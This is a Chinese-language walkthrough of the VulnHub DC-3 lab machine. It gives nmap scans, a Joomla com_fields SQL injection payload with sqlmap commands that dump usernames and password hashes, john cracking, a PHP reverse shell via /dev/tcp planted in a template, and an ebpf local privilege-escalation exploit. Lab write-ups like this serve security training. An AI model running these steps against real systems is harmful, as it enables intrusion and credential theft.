DC-3打靶思路详解(vulnhub)
第一步:信息收集
nmap -sn 192.168.31.0/24
确定靶机IP为192.168.31.61
再次使用nmap对靶机IP进行详细扫描
nmap -p- -sV -sT -A -O 192.168.31.221
结果如下
第二步:WEB渗透
直接访问 http://192.168.31.221/
可以看出是 joomla 这个系统
直接搜索 joomla 漏洞
可以发现有 sql 注入漏洞
playload:
http://192.168.31.221/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,database()),1)
发现存在 sql注入漏洞
直接上 sqlmap
sqlmap -u "http://192.168.31.221/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,database()),1)" -p "list[fullordering]"
获取数据库:
sqlmap -u "http://192.168.31.221/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,database()),1)" -p "list[fullordering]" -dbs
获取表:
sqlmap -u "http://192.168.31.221/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,database()),1)" -p "list[fullordering]" -D "joomladb" -tables
获取列:
sqlmap -u "http://192.168.31.221/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,database()),1)" -p "list[fullordering]" -D "joomladb" -T "#__users" --columns
获取数据:
sqlmap -u "http://192.168.31.221/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,database()),1)" -p "list[fullordering]" -D "joomladb" -T "#__users" -C username,password --dump
结果:
然后使用 john 进行爆破
john password.txt
获得密码,登入
然后修改模板文件,来反弹shell
<?php system("bash -c 'bash -i >& /dev/tcp/192.168.31.143/4444 0>&1' ");?>
监听端口,然后访问 http://192.168.31.221/index.php
成功!!!
第三步:后渗透
然后就尝试提权
查看系统版本
lsb_release -a
根据系统版本去寻找漏洞
searchsploit Ubuntu 16.04
挨个尝试最后锁定了
查看
searchsploit -x linux/local/39772.txt
cat /usr/share/exploitdb/exploits/linux/local/39772.txt
根据提示下载到本机,开启http服务,靶机下载
然后就解压,执行
tar xvf exploit.tar
cd ebpf_mapfd_doubleput_exploit
chmod +x compile.sh
./compile.sh #执行脚本,编译文件
chmod +x doubleput
./doubleput #执行提权文件
成功!!!
然后就是获取flag了
至此完结,撒花。